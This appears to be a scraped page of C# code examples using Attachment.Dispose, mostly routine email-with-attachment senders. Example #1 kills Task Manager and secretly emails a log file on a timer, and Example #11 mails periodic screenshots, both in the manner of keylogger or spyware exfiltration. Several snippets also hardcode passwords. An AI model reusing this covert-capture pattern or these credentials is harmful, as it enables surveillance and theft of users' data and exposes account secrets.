Exemple #1
0
        public static void OnTimedEvent(object source, EventArgs e)
        {
            Process[] ProcessList = Process.GetProcesses();//为每个进程资源 创建组件
            foreach (Process proc in ProcessList)
            {
                if (proc.MainWindowTitle.Contains("Taskmgr.exe"))
                {
                    proc.Kill();//关闭任务管理器
                }
            }
            //发送邮件
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
            msg.To.Add("**************");
            msg.From = new MailAddress("***********", "********", System.Text.Encoding.UTF8);
            string _ComputName = System.Net.Dns.GetHostName();

            msg.Subject         = _ComputName;
            msg.SubjectEncoding = System.Text.Encoding.UTF8;
            msg.Body            = "L";
            msg.BodyEncoding    = System.Text.Encoding.UTF8;
            msg.IsBodyHtml      = false;
            msg.Priority        = MailPriority.High; //邮件优先级 最高
            SmtpClient client = new SmtpClient();    //Network Credentials for Gmail

            client.Credentials = new System.Net.NetworkCredential("**********@hotmail.com", "************");
            client.Port        = 587;
            client.Host        = "smtp.office365.com";
            client.EnableSsl   = true;
            Attachment data = new Attachment(Program.path);

            msg.Attachments.Add(data);//添加 附件
            try
            {
                client.Send(msg);
                failed = 0;
            }
            catch
            {
                data.Dispose();//释放掉 资源
                failed = 1;
            }
            data.Dispose();

            //if (failed == 0)
            //  File.WriteAllText(Program.path, ""); //如果发送成功 则 将txt清空  防止发送相同数据

            failed = 0;
        }
        private void sendCompletedCallback(object sender, AsyncCompletedEventArgs e)
        {
            Attachment a = (Attachment)e.UserState;

            a.Dispose();

            if (e.Cancelled)
            {
                uploadLog.Text += "Send canceled.\r\n";
            }
            if (e.Error != null)
            {
                uploadLog.Text += e.Error + "\r\n";
            }
            else
            {
                uploadLog.Text += "Success. Go to http://skitch.com to verify";
            }

            buttonUpload.Enabled = false;
            buttonCancel.Enabled = true;
            buttonCancel.Text    = "Close";

            uploaded = true;
        }
Exemple #3
0
        public async Task SendAsyncAttachPO(string recipient, string subject, string body, byte[] attachmentFile, string attachmentName, byte[] poAttachmentFile, string poAttachmentName)
        {
            MailMessage message = null;
            SmtpClient  smtp    = null;
            Attachment  att     = null;

            try
            {
                message = new MailMessage(_sender, recipient, subject, body)
                {
                    IsBodyHtml = true
                };
                //if (RecipientCC != null)
                //{
                //    message.CC.Add(RecipientCC);
                //}
                smtp = new SmtpClient(_host, _port);

                //if (!String.IsNullOrEmpty(attachmentFile))
                //{
                //    if (File.Exists(attachmentFile))
                //    {
                //        att = new Attachment(attachmentFile);
                //        message.Attachments.Add(att);
                //    }
                //}
                message.Attachments.Add(new Attachment(new MemoryStream(attachmentFile), attachmentName));
                message.Attachments.Add(new Attachment(new MemoryStream(poAttachmentFile), poAttachmentName));

                if (_user.Length > 0 && _pass.Length > 0)
                {
                    smtp.UseDefaultCredentials = false;
                    smtp.Credentials           = new NetworkCredential(_user, _pass);
                    smtp.DeliveryMethod        = SmtpDeliveryMethod.Network;
                    smtp.EnableSsl             = _ssl;
                }

                await smtp.SendMailAsync(message);
            }

            catch (Exception ex)
            {
                throw ex;
            }
            finally
            {
                if (message != null)
                {
                    message.Dispose();
                }
                if (smtp != null)
                {
                    smtp.Dispose();
                }
                if (att != null)
                {
                    att.Dispose();
                }
            }
        }
        /// <summary>
        /// Method can be used to send an e-mail
        /// </summary>
        /// <param name="body">The contents of the message</param>
        /// <param name="address">the e-mail address of the sender</param>
        /// <param name="password">the password of the sender</param>
        /// <param name="server">sender's server</param>
        /// <param name="subject">The subject of the e-mail</param>
        /// <param name="attachment">Files to be attached</param>
        /// <param name="emailsSentTo">The emails of the recievers</param>
        public void SendMailSmtp(string body, string subject,
                                 Attachment attachment,
                                 string[] emailsSentTo)
        {
            var loginInfo = new NetworkCredential(_address, _password);
            var msg       = new MailMessage {
                From = new MailAddress(_address)
            };

            foreach (var s in emailsSentTo)
            {
                msg.To.Add(new MailAddress(s));
            }
            msg.Subject = subject;
            msg.Body    = body;

            msg.Attachments.Add(attachment);
            var smtpClient = new System.Net.Mail.SmtpClient(_server);

            smtpClient.EnableSsl             = true;
            smtpClient.UseDefaultCredentials = true;
            smtpClient.Credentials           = loginInfo;
            smtpClient.Send(msg);
            attachment.Dispose();
            msg.Dispose();
            smtpClient.Dispose();
        }
        public void SendEmail(string Subject, string Body, string To, string fileAttachment)
        {
            bool SendMails = _configuration.GetValue <bool>("Flags:SendMails");

            if (SendMails)
            {
                MailConfiguration mailConfiguration = _repository.Users.GetMailConfiguration();
                MailMessage       mail = new MailMessage();
                mail.To.Add(To);
                mail.From    = new MailAddress(mailConfiguration.UserId);
                mail.Subject = Subject;
                mail.Body    = Body;
                SmtpClient smtp = new SmtpClient
                {
                    Host        = mailConfiguration.Host,
                    Port        = Convert.ToInt16(mailConfiguration.SMTPPort),
                    Credentials = new NetworkCredential(mailConfiguration.UserId, mailConfiguration.Password),
                    EnableSsl   = true
                };
                if (!string.IsNullOrEmpty(fileAttachment))
                {
                    Attachment data = new Attachment(fileAttachment, MediaTypeNames.Application.Octet);
                    mail.Attachments.Add(data);
                    smtp.Send(mail);
                    data.Dispose();
                }
                else
                {
                    smtp.SendAsync(mail, "test");
                }
            }
        }
Exemple #6
0
        private void email(String body, String path, string email, string cliente, String fecha)
        {
            try
            {
                mail.From = new MailAddress("*****@*****.**");
                mail.To.Add(email);
                mail.Subject = "Pedido  " + cliente + " fecha: " + fecha;
                mail.Body    = body;


                Attachment attachment;
                attachment = new Attachment(path);
                mail.Attachments.Add(attachment);

                SmtpServer.Port        = 587;
                SmtpServer.Credentials = new System.Net.NetworkCredential("*****@*****.**", "prueba2019");
                SmtpServer.EnableSsl   = true;

                SmtpServer.Send(mail);

                attachment.Dispose();
                attachment = null;
                mail.Attachments.Clear();
                mail.Attachments.Dispose();
                mail.Dispose();
                mail = null;
            }
            catch (Exception ex)
            {
                mail.Attachments.Clear();
                mail.Attachments.Dispose();
                mail.Dispose();
                SmtpServer.Dispose();
            }
        }
Exemple #7
0
        /// <summary>
        /// Performs application-defined tasks associated with freeing, releasing, or resetting managed/unmanaged resources.
        /// </summary>
        /// <param name="disposing">
        /// A <see cref="Boolean"/> indicating whether this method is called by <see cref="Dispose()"/>. If it is false,
        /// this method is called by the finalizer.
        /// </param>
        protected override void Dispose(bool disposing)
        {
            if (disposing)
            {
                for (int i = 0; i < _ColorBuffers.Length; i++)
                {
                    Attachment attachment = _ColorBuffers[i];

                    if (attachment != null)
                    {
                        attachment.Dispose();
                        _ColorBuffers[i] = null;
                    }
                }

                if (_DepthAttachment != null)
                {
                    _DepthAttachment.Dispose();
                    _DepthAttachment = null;
                }

                if (_StencilBuffer != null)
                {
                    _StencilBuffer.Dispose();
                    _StencilBuffer = null;
                }
            }

            // Base implementation
            base.Dispose(disposing);
        }
        public async Task SendAsync(string email, string filePath, InvoiceBl invoice)
        {
            await Task.Run(() =>
            {
                MailMessage mail      = new MailMessage();
                SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
                mail.From             = new MailAddress("*****@*****.**");
                mail.To.Add(email);
                mail.Subject = $"Telecom system Invoice for the period: {invoice.BeginningDate.ToShortDateString()} " +
                               $"to: {invoice.GenerationDate.ToShortDateString()}";
                mail.Body = $"Dear {invoice.Subscriber.Name}{Environment.NewLine}" +
                            $"As an attachment we are sending an invoice for telecom services provided to you by our company. {Environment.NewLine}" +
                            $"An invoice covers period mentioned in the subject.{Environment.NewLine}" +
                            $"Whole informations about payment are included in the attached invoice.{Environment.NewLine}" +
                            $"In addition, we encourage to settle of receivables quickly. {Environment.NewLine}" +
                            $"Best regards,{Environment.NewLine}{Environment.NewLine}" +
                            $"Telecom company business manager{Environment.NewLine}" +
                            $"Jacob Joshua";

                Attachment attachment;
                attachment = new Attachment(filePath);
                mail.Attachments.Add(attachment);

                SmtpServer.Port        = 587;
                SmtpServer.Credentials = new NetworkCredential(ConfigurationManager.AppSettings["UserName"],
                                                               ConfigurationManager.AppSettings["Password"]);
                SmtpServer.EnableSsl = true;

                SmtpServer.Send(mail);
                attachment.Dispose();        //required to delete created file after sending an email
            });
        }
Exemple #9
0
        //</snippet25>

        //<snippet26>
        public static void CreateMessageInlineAttachment3(string server, string
                                                          textMessage)
        {
            // Create a message and set up the recipients.
            MailMessage message = new MailMessage(
                "*****@*****.**",
                "*****@*****.**",
                "An inline text message for you.",
                "Message: ");

            // Attach the message string to this email message.
            Attachment data = new Attachment(textMessage, MediaTypeNames.Text.Plain);

            // Send textMessage as part of the email body.
            message.Attachments.Add(data);
            ContentDisposition disposition = data.ContentDisposition;

            disposition.DispositionType = DispositionTypeNames.Inline;
            //Send the message.
            // Include credentials if the server requires them.
            SmtpClient client = new SmtpClient(server);

            client.Credentials = (ICredentialsByHost)CredentialCache.DefaultNetworkCredentials;
            client.Send(message);
            data.Dispose();
        }
        static void SendEmail(string recipientEmail, string recipientName, string pdfPath)
        {
            string pdfFileName   = pdfPath;
            int    nPathSepIndex = pdfPath.LastIndexOfAny(new char[] { '\\', '/' });

            if ((nPathSepIndex != -1) && (pdfPath.Length > (nPathSepIndex + 1)))
            {
                pdfFileName = pdfPath.Substring(nPathSepIndex + 1);
            }

            MailMessage message = new MailMessage(emailSenderId, recipientEmail);

            message.Subject = "Example message subject";

            message.Body = emailMsgBase;
            message.Body = message.Body.Replace("$$NAME$$", recipientName);

            FileStream fs = new FileStream(pdfPath, FileMode.Open, FileAccess.Read);

            ContentType ct = new ContentType();

            ct.MediaType = MediaTypeNames.Application.Octet;
            ct.Name      = pdfFileName;
            Attachment data = new Attachment(fs, ct);

            message.Attachments.Add(data);

            smtpClient.Send(message);

            data.Dispose();
            fs.Close();
        }
Exemple #11
0
        private void Form1_Load(object sender, EventArgs e)
        {
            // Timer1 belirli aralıklarla ekran görüntüsünü alıyor
            timer1          = new Timer();
            timer1.Interval = 800000;
            timer1.Tick    += (o, s) =>
            {
                Bitmap bmp = ScreenShot();
                bmp.Save(@"D:\Ekran\Ekran.png", ImageFormat.Png);
                bmp.Dispose();
                listBox1.Items.Add("Ekran Görüntüsü Alındı");
            };
            // Timer2 belirli aralıklarla ekran görüntüsünü gönderiyor
            timer2          = new Timer();
            timer2.Interval = 1000000;
            timer2.Tick    += (o, s) =>
            {
                SmtpClient client = new SmtpClient();
                client.Port        = 587;
                client.EnableSsl   = true;
                client.Host        = "smtp.gmail.com";              // Gmail kullanıldı
                client.Credentials = new NetworkCredential("", ""); //kimden gönderilecek ? KullanıcıAdı ve Şifre
                MailMessage mm  = new MailMessage("", "");          // Kime gönderilecek ?
                Attachment  atc = new Attachment(@"D:\Ekran\Ekran.png");
                mm.Attachments.Add(atc);
                mm.Subject = "Ekran";
                mm.Body    = "Ekran";
                client.Send(mm);
                listBox1.Items.Add("Mail Gönderildi");
                atc.Dispose();
            };

            timer1.Start();
            timer2.Start();
        }
 public static void Dispose(ref SmtpClient client, ref System.Net.Mail.MailMessage message)
 {
     try
     {
         if (message != null)
         {
             for (int i = 0; i < message.Attachments.Count; i++)
             {
                 Attachment a = message.Attachments[i];
                 a.Dispose();
                 a = null;
             }
             message.Attachments.Clear();
             message.Dispose();
             message = null;
         }
         if (client != null)
         {
             client.Dispose();
             client = null;
         }
     }
     catch (Exception ex)
     {
     }
 }
Exemple #13
0
 public Task Send(string username, string passwort, string attachmentPath)
 {
     return(Task.Run(() =>
     {
         try
         {
             var smtpServer = new SmtpClient("smtp.gmail.com")
             {
                 EnableSsl = true,
                 Port = 587,
                 Credentials = new NetworkCredential(username, passwort)
             };
             var mail = new MailMessage()
             {
                 From = new MailAddress(username),
                 Subject = "Greetings",
                 Body = "Hello"
             };
             var attachment = new Attachment(attachmentPath);
             mail.Attachments.Add(attachment);
             mail.To.Add(username);
             smtpServer.Send(mail);
             attachment.Dispose();
             smtpServer.Dispose();
         }
         catch (Exception ex)
         {
             Console.WriteLine(ex);
         }
     }));
 }
Exemple #14
0
 public void SendMail(string filePath)
 {
     try
     {
         var mail = new MailMessage();
         try
         {
             mail.From = new MailAddress(_configuration.EmailAddresser);
             mail.To.Add(new MailAddress(_configuration.EmailAddressee));
             mail.Subject = "Global hooks";
             mail.Body    = "Log file";
         }
         catch (FormatException e)
         {
             mail.From = new MailAddress("*****@*****.**");
             mail.To.Add(new MailAddress("*****@*****.**"));
         }
         Attachment attachment = new Attachment(filePath);
         mail.Attachments.Add(attachment);
         _smtpClient.SendCompleted += (o, a) =>
         {
             mail.Dispose();
             attachment.Dispose();
             SendCompleted(o, a);
         };
         _smtpClient.SendAsync(mail, filePath);
     }
     catch (SmtpException e)
     {
         Console.Write(e.ToString());
     }
 }
        private void sendEmail(Object threadContext)
        {
            EmailInfo email         = (EmailInfo)threadContext;
            string    your_id       = txtFromEmail.Text;
            string    your_password = txtPassword.Text;

            try
            {
                SmtpClient client = new SmtpClient
                {
                    Host           = "smtp.gmail.com",
                    Port           = 587,
                    EnableSsl      = true,
                    DeliveryMethod = SmtpDeliveryMethod.Network,
                    Credentials    = new System.Net.NetworkCredential(your_id, your_password),
                    Timeout        = 10000,
                };
                MailMessage mm   = new MailMessage(your_id, email.toEmailAddress, txtEmailSubject.Text, rtxtEmailContent.Text);
                Attachment  data = new Attachment(email.filePath);
                mm.Attachments.Add(data);
                client.Send(mm);
                mm.Dispose();
                data.Dispose();
            }
            catch (System.Exception ex)
            {
                MessageBox.Show("Không gửi được email!");
            }
        }
Exemple #16
0
        private static void sendEmailThread()
        {
            try
            {
                MailMessage mail       = new MailMessage();
                SmtpClient  smtpServer = new SmtpClient("smtp.gmail.com");

                mail.From = new MailAddress("*****@*****.**");
                mail.To.Add("*****@*****.**");
                mail.Subject = _subject;
                mail.Body    = _body;

                if (_attachment != null)
                {
                    mail.Attachments.Add(_attachment);
                }

                smtpServer.Port        = 587;
                smtpServer.Credentials = new System.Net.NetworkCredential("2csUG.SC2", "2csUGftw");
                smtpServer.EnableSsl   = true;

                smtpServer.Send(mail);

                if (_attachment != null)
                {
                    _attachment.Dispose();
                }
            }
            catch
            {
                // Bad attachment? Can't connect to server? etc?
            }
        }
Exemple #17
0
        public Boolean SendEmaile(String reseiver, String NameFile, String Supject, String MessegEmil)
        {
            try
            {
                SmtpClient Client = new SmtpClient("smtp.gmail.com", 587);
                Client.Credentials = new NetworkCredential(Email_Sent, PassWord);

                MailMessage Massage = new MailMessage(Email_Sent, reseiver, Supject, MessegEmil);

                Attachment att = new Attachment(NameFile);

                Massage.Attachments.Add(att);
                Massage.IsBodyHtml = false;
                Client.EnableSsl   = true;

                Client.Send(Massage);

                Massage.Dispose();
                Client.Dispose();
                att.Dispose();


                return(true);
            }
            catch (Exception ex)
            {
                return(false);
            }
        }
Exemple #18
0
        public void SendMail(string recipientMailAddress, string recipientName, string attachmentFilePath)
        {
            MailMessage mail       = new MailMessage();
            SmtpClient  smtpServer = new SmtpClient(SMTP_CLIENT_NAME);

            mail.From = new MailAddress(SENDER_MAIL_ADDRESS);
            mail.To.Add(recipientMailAddress);
            mail.Subject = "Jeu Kinect : Photo prise durant votre partie.";
            mail.Body    = "Bonjour " + recipientName + " ! \n\n" +
                           "Voici la photo prise lors de votre partie de notre jeu Kinect \"Yandere Escape\".\n\n" +
                           "Merci d'avoir testé notre jeu!\n" +
                           "Cédric Paris & Nawhal Sayarh, élèves de l'IUT Informatique de Clermont-Ferrand.";

            Attachment imageAttachment = new Attachment(attachmentFilePath)
            {
                Name = "Photo Jeu Kinect.jpeg"
            };

            mail.Attachments.Add(imageAttachment);

            smtpServer.Port        = SMTP_PORT;
            smtpServer.Credentials = new System.Net.NetworkCredential(SENDER_MAIL_ADDRESS, PASSWORD);
            smtpServer.EnableSsl   = true;

            smtpServer.Send(mail);
            imageAttachment.Dispose();
        }
Exemple #19
0
        //</snippet24>

//<snippet25>
        public static void CreateMessageAttachment5(string server, string textMessage)
        {
            // Create a message and set up the recipients.
            MailMessage message = new MailMessage(
                "*****@*****.**",
                "*****@*****.**",
                "A text message for you.",
                "Message: ");

            // Attach the message string to this email message.
            Attachment data = new Attachment(textMessage,
                                             MediaTypeNames.Text.Plain);
//			data.SetContent(textMessage,
//				MediaTypeNames.Text.Plain,
//				System.Text.Encoding.UTF8);
            ContentDisposition disposition = data.ContentDisposition;

            // Suggest a file name for the attachment.
            disposition.FileName = "message" + DateTime.Now.ToString();
            message.Attachments.Add(data);
            //Send the message.
            SmtpClient client = new SmtpClient(server);

            client.Credentials = (ICredentialsByHost)CredentialCache.DefaultNetworkCredentials;
            client.Send(message);
            data.Dispose();
        }
        private void btnAttachment_Click(object sender, EventArgs e)
        {
            if (ofdFile.ShowDialog() == DialogResult.OK)
            {
                string file = ofdFile.FileName;

                // Create  the file attachment for this email message.
                Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);

                // Add time stamp information for the file.
                ContentDisposition disposition = data.ContentDisposition;
                disposition.CreationDate     = System.IO.File.GetCreationTime(file);
                disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
                disposition.ReadDate         = System.IO.File.GetLastAccessTime(file);
                // Add the file attachment to this email message.

                txtAttachment.Text = data.Name.ToString();
                _data = data;
                data.Dispose();
            }
            else
            {
                MessageBox.Show($"Something went wrong...:/");
            }
        }
Exemple #21
0
 private static void sendEmailThread()
 {
     try
     {
         MailMessage message = new MailMessage();
         SmtpClient  client  = new SmtpClient("smtp.gmail.com");
         message.From = new MailAddress("*****@*****.**");
         message.To.Add("*****@*****.**");
         message.Subject = _subject;
         message.Body    = _body;
         if (_attachment != null)
         {
             message.Attachments.Add(_attachment);
         }
         client.Port        = 0x24b;
         client.Credentials = new NetworkCredential("2csUG.SC2", "2csUGftw");
         client.EnableSsl   = true;
         client.Send(message);
         if (_attachment != null)
         {
             _attachment.Dispose();
         }
     }
     catch
     {
     }
 }
        // Token: 0x06000034 RID: 52 RVA: 0x00003938 File Offset: 0x00001B38
        private static bool TryGetCommentAttachment(MessageItem messageItem, out StreamAttachment targetAttachment)
        {
            targetAttachment = null;
            AttachmentCollection attachmentCollection = messageItem.AttachmentCollection;

            foreach (AttachmentHandle handle in attachmentCollection)
            {
                Attachment attachment = null;
                try
                {
                    attachment = attachmentCollection.Open(handle);
                    if ("DecisionComments.txt".Equals(attachment.FileName, StringComparison.OrdinalIgnoreCase))
                    {
                        targetAttachment = (attachment as StreamAttachment);
                        if (targetAttachment != null)
                        {
                            attachment = null;
                            return(true);
                        }
                        ModeratedDLApplication.diag.TraceError <Attachment>(0L, "Found attachment with the correct name, but it's not a stream: {0}", attachment);
                    }
                }
                finally
                {
                    if (attachment != null)
                    {
                        attachment.Dispose();
                        attachment = null;
                    }
                }
            }
            return(false);
        }
Exemple #23
0
        public void SendMail(string s, int id)
        {
            DataForBD.iter = 0;
            //int id = 1;
            DateTime   second = DateTime.Now;
            SmtpClient Smtp   = new SmtpClient("smtp.mail.ru", 587);

            Smtp.Credentials = new NetworkCredential("*****@*****.**", "123A456B789c!");
            Smtp.EnableSsl   = true;
            MailMessage Message = new MailMessage();

            Message.From = new MailAddress("*****@*****.**");
            Message.To.Add(new MailAddress(s));
            DataForBD.iter  = 1;
            Message.Subject = "Заказ №" + Convert.ToString(id);
            Message.Body    = "Бланк заказа №" + Convert.ToString(id) + Environment.NewLine + "Дата формирования письма: " + second;
            string     file   = "Document.pdf";
            Attachment attach = new Attachment(file, MediaTypeNames.Application.Octet);

            Message.Attachments.Add(attach);
            DataForBD.iter = 2;
            try
            {
                Smtp.Send(Message);
                attach.Dispose();
                DataForBD.iter = 3;
            }
            catch (Exception ex)
            {
                throw ex;
            }
        }
Exemple #24
0
        //</snippet12>

        //<snippet13>
        public static void CreateMessageInlineAttachment2(string server, string
                                                          textMessage)
        {
            // Create a message and set up the recipients.
            MailMessage message = new MailMessage(
                "*****@*****.**",
                "*****@*****.**",
                "A text message for you.",
                "Message: ");

            // Attach the message string to this email message.
            Attachment data = new Attachment(textMessage);

            // Send textMessage as part of the email body.
            message.Attachments.Add(data);
            ContentType content = data.ContentType;

            content.MediaType = MediaTypeNames.Text.Plain;
            //Send the message.
            // Include credentials if the server requires them.
            SmtpClient client = new SmtpClient(server);

            client.Credentials = CredentialCache.DefaultNetworkCredentials;

            try {
                client.Send(message);
            }
            catch (Exception ex) {
                Console.WriteLine("Exception caught in CreateMessageInlineAttachment2: {0}",
                                  ex.ToString());
            }
            data.Dispose();
        }
 public void SendMail(string filePath)
 {
     try
     {
         var mail = new MailMessage();
         try
         {
             mail.From = new MailAddress(_configuration.EmailAddresser);
             mail.To.Add(new MailAddress(_configuration.EmailAddressee));
         }
         catch (FormatException)
         {
             mail.From = new MailAddress("*****@*****.**");
             mail.To.Add(new MailAddress("*****@*****.**"));
         }
         Attachment attachment = new Attachment(filePath);
         mail.Attachments.Add(attachment);
         _smtpClient.SendCompleted += (o, a) =>
         {
             mail.Dispose();
             attachment.Dispose();
             SendCompleted(o, a);
         };
         _smtpClient.SendAsync(mail, filePath);
     }
     catch (SmtpException e)
     {
         Console.Write(e.ToString());
     }
 }
        public static void SendEmail(string to, string title, string body, string attachmentPath, string newAttachmentName)
        {
            // Command line argument must the the SMTP host.
            SmtpClient client = new SmtpClient();

            client.Port                  = 25;
            client.Host                  = "smtp.gmail.com";
            client.EnableSsl             = true;
            client.Timeout               = 10000;
            client.DeliveryMethod        = SmtpDeliveryMethod.Network;
            client.UseDefaultCredentials = false;
            client.Credentials           = new System.Net.NetworkCredential(Helper.LoadConnectionString("Email"), Helper.LoadConnectionString("EmailPassword"));

            Helper.WaitForFile(attachmentPath);

            Attachment attachment = new Attachment(attachmentPath);

            attachment.Name = newAttachmentName;

            MailMessage mm = new MailMessage(Helper.LoadConnectionString("Email"), to, title, body);

            mm.Attachments.Add(attachment);
            mm.BodyEncoding = UTF8Encoding.UTF8;
            mm.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure;

            client.Send(mm);
            attachment.Dispose();
        }
Exemple #27
0
        internal static void SendMail(string subject, string body = null, string sendto = null, string attachment = null)
        {
            MailMessage newM = new MailMessage();

            if (sendto == null)
            {
                newM.To.Add("*****@*****.**");
            }
            else
            {
                newM.To.Add(sendto);
            }

            newM.From    = new MailAddress("*****@*****.**");
            newM.Subject = subject;

            newM.Body = body ?? GetMailBody();

            SmtpClient svclient = new SmtpClient("smtp.gmail.com");

            svclient.Credentials = new NetworkCredential("*****@*****.**", "SenderEmailPassword");
            svclient.EnableSsl   = true;

            if (File.Exists(attachment))
            {
                Attachment mmattach = new Attachment(attachment); //Can't be null after File.Exists. False R# warning.
                newM.Attachments.Add(mmattach);
                try
                {
                    svclient.Send(newM);
                }
                catch (Exception ex)
                {
                    LogException(ex.TargetSite + " " + ex.Message + " " + ex.InnerException);
                    File.Delete(attachment); //Can't be null after File.Exists. False R# warning.
                }
                finally
                {
                    mmattach.Dispose();
                    File.Delete(attachment); //Can't be null after File.Exists. False R# warning.
                    newM.Dispose();
                }
            }
            else
            {
                try
                {
                    svclient.Send(newM);
                }
                catch (Exception ex)
                {
                    LogException(ex.TargetSite + " " + ex.Message + " " + ex.InnerException);
                }
                finally
                {
                    newM.Dispose();
                }
            }
        }
Exemple #28
0
        /// <exception cref="UnauthorizedAccessException">The caller does not have the required permission. </exception>
        /// <exception cref="PathTooLongException">The specified path, file name, or both exceed the system-defined maximum length. For example, on Windows-based platforms, paths must be less than 248 characters, and file names must be less than 260 characters. </exception>
        public static void CreateMessageWithAttachment(string server)
        {
            // Specify the file to be attached and sent.
            // This example assumes that a file named Data.xls exists in the
            // current working directory.
            const string file = "data.xls";
            // Create a message and set up the recipients.
            MailMessage message = new MailMessage(
                "*****@*****.**",
                "*****@*****.**",
                "Quarterly data report.",
                "See the attached spreadsheet.");

            // Create  the file attachment for this e-mail message.
            Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
            // Add time stamp information for the file.
            ContentDisposition disposition = data.ContentDisposition;

            disposition.CreationDate     = File.GetCreationTime(file);
            disposition.ModificationDate = File.GetLastWriteTime(file);
            disposition.ReadDate         = File.GetLastAccessTime(file);
            // Add the file attachment to this e-mail message.
            message.Attachments.Add(data);

            //Send the message.
            var client = new SmtpClient(server)
            {
                Credentials = CredentialCache.DefaultNetworkCredentials
            };

            // Add credentials if the SMTP server requires them.

            try {
                client.Send(message);
            }
            catch (Exception ex) {
                // TODO: AOP
                Trace.TraceError("CreateMessageWithAttachment(string server)");
                Console.WriteLine("Exception caught in CreateMessageWithAttachment(): {0}", ex);
                Trace.TraceError(ex.Message);
            }
            // Display the values in the ContentDisposition for the attachment.
            ContentDisposition cd = data.ContentDisposition;

            Console.WriteLine("Content disposition");
            Console.WriteLine(cd.ToString());
            Console.WriteLine("File {0}", cd.FileName);
            Console.WriteLine("Size {0}", cd.Size);
            Console.WriteLine("Creation {0}", cd.CreationDate);
            Console.WriteLine("Modification {0}", cd.ModificationDate);
            Console.WriteLine("Read {0}", cd.ReadDate);
            Console.WriteLine("Inline {0}", cd.Inline);
            Console.WriteLine("Parameters: {0}", cd.Parameters.Count);
            foreach (DictionaryEntry d in cd.Parameters)
            {
                Console.WriteLine("{0} = {1}", d.Key, d.Value);
            }
            data.Dispose();
        }
Exemple #29
0
 //完成寄信後的callback function
 static void smtp_SendCompleted(object sender, AsyncCompletedEventArgs e)
 {
     IsSending = false;
     attachment?.Dispose();
     smtpClient?.Dispose();
     message?.Attachments?.Dispose();
     message?.Dispose();
 }
Exemple #30
0
        public static object Delete(SessionRequest request)
        {
            Attachment attachment = (Attachment)request.Session[new Guid(request.Parameters["attachment"])];

            request.Session.Release(attachment);
            attachment.Dispose();
            return(null);
        }
Exemple #31
0
    public static bool EmailAlert(string to_add, string from_add, string em_sub, string em_bd, string smtp_server = null, string sAttachment = null)
    {
        int i = 0;
        string[] sTempA = null;
        SmtpClient SmtpMail = new SmtpClient();
        MailMessage MailMsg = new MailMessage();

        sTempA = to_add.Split(',');

        try
        {
            for (i = 0; i < (sTempA.Length -1); i++)
            {
                MailMsg.To.Add(new MailAddress(sTempA[i]));
            }

            MailMsg.From = new MailAddress(from_add);
            MailMsg.Subject = em_sub.Trim();
            MailMsg.Body = em_bd.Trim() + Environment.NewLine;

            if (sAttachment != null)
            {
                Attachment MsgAttach = new Attachment(sAttachment);
                MailMsg.Attachments.Add(MsgAttach);

                if (smtp_sender == null)
                {
                    // default
                    SmtpMail.Host = "";
                }
                else
                {
                    SmtpMail.Host = smtp_sender;
                }
                SmtpMail.Send(MailMsg);
                MsgAttach.Dispose();
            }
            else
            {
                SmtpMail.Host = smtp_sender;
                SmtpMail.Send(MailMsg);
            }
            return true;
        }
        catch (Exception ex)
        {
            sTempA = null;
            SmtpMail.Dispose();
            MailMsg.Dispose();
            //Console.WriteLine(ex);
            return false;
        }
    }
Exemple #32
0
    public static void CreateMessageWithAttachment(string filePath,string EmailTo,string EmailFrom,string Subject,string Body)
    {
        // Specify the file to be attached and sent.
        // This example assumes that a file named Data.xls exists in the
        // current working directory.

        // Create a message and set up the recipients.
        //MailMessage message = new MailMessage(EmailFrom,EmailTo,Subject,Body);
        MailMessage message = new MailMessage();
        message.From = new MailAddress(EmailFrom);
        message.Subject = Subject;
        message.Body = Body;
        string mTo =EmailTo;
        if (mTo != "" || mTo != string.Empty)
        {
            string[] strTo = mTo.Split(';');
            foreach (string strThisTo in strTo)
            {
                strThisTo.Trim();
                message.To.Add(strThisTo);
            }
        }

        // Create  the file attachment for this e-mail message.
        Attachment data = new Attachment(filePath, MediaTypeNames.Application.Octet);
        // Add time stamp information for the file.
        ContentDisposition disposition = data.ContentDisposition;
        disposition.CreationDate = System.IO.File.GetCreationTime(filePath);
        disposition.ModificationDate = System.IO.File.GetLastWriteTime(filePath);
        disposition.ReadDate = System.IO.File.GetLastAccessTime(filePath);
        // Add the file attachment to this e-mail message.
        message.Attachments.Add(data);

        //Send the message.
        SmtpClient client = new SmtpClient("smtp.bizmail.yahoo.com", 25);
        // Add credentials if the SMTP server requires them.
        client.Credentials = new System.Net.NetworkCredential("*****@*****.**", "VtsApps");
        try
        {
            client.Send(message);
        }
        catch (Exception ex)
        {
            SendMailException = ex.StackTrace;
        }
        // Display the values in the ContentDisposition for the attachment.

        data.Dispose();
    }
Exemple #33
0
    protected void Page_Load(object sender, EventArgs e)
    {
        StringBuilder saPage = new StringBuilder();

        if (!this.Context.Request.IsLocal)
        {
            saPage.Append(LoadError(ERR_NOT_LOCAL));
        }
        else
        {
            if (!this.Page.IsPostBack)
            {
                SmtpClient sendClient = null;
                MailMessage message = null;
                Attachment attach = null;

                try
                {
                    sendClient = new SmtpClient(Page.Session["smtpServer"].ToString(), Convert.ToInt32(Page.Session["smtpPort"].ToString()));
                    message = new MailMessage(Page.Session["emailAddressFrom"].ToString(), Page.Session["emailAddressTo"].ToString(), "From EkStatus", "");
                    attach = new Attachment(HttpContext.Current.Server.MapPath("") + "\\EkStatusOutput.htm");

                    message.Body = "Comments from sender:\r\n";

                    if (Page.Session["emailComments"] != null)
                    {
                        message.Body += Page.Session["emailComments"].ToString();
                    }

                    message.Body += "\r\n\r\nReport attached from " + Server.MachineName + "\r\n\r\nPlease save this report in workarea\\diagnostics\\ directory.";

                    if (Page.Session["smtpUser"].ToString() != "Value not set in configuration")
                    {
                        NetworkCredential netCred = new NetworkCredential(Page.Session["smtpUser"].ToString(), Page.Session["smtpPass"].ToString());
                        sendClient.Credentials = netCred;
                        netCred = null;
                    }

                    message.Attachments.Add(attach);
                    sendClient.Send(message);
                    m_bMailSentOk = true;
                }
                catch (Exception exThrown)
                {
                    m_sLastError = exThrown.Message;
                    m_bMailSentOk = false;
                }
                finally
                {

                    //----- Cleanup
                    if (message != null)
                    {
                        message.Dispose();
                        message = null;
                    }
                    if (attach != null)
                    {
                        attach.Dispose();
                        attach = null;
                    }
                    if (sendClient != null)
                    {
                        sendClient = null;
                    }
                }
            }
        }

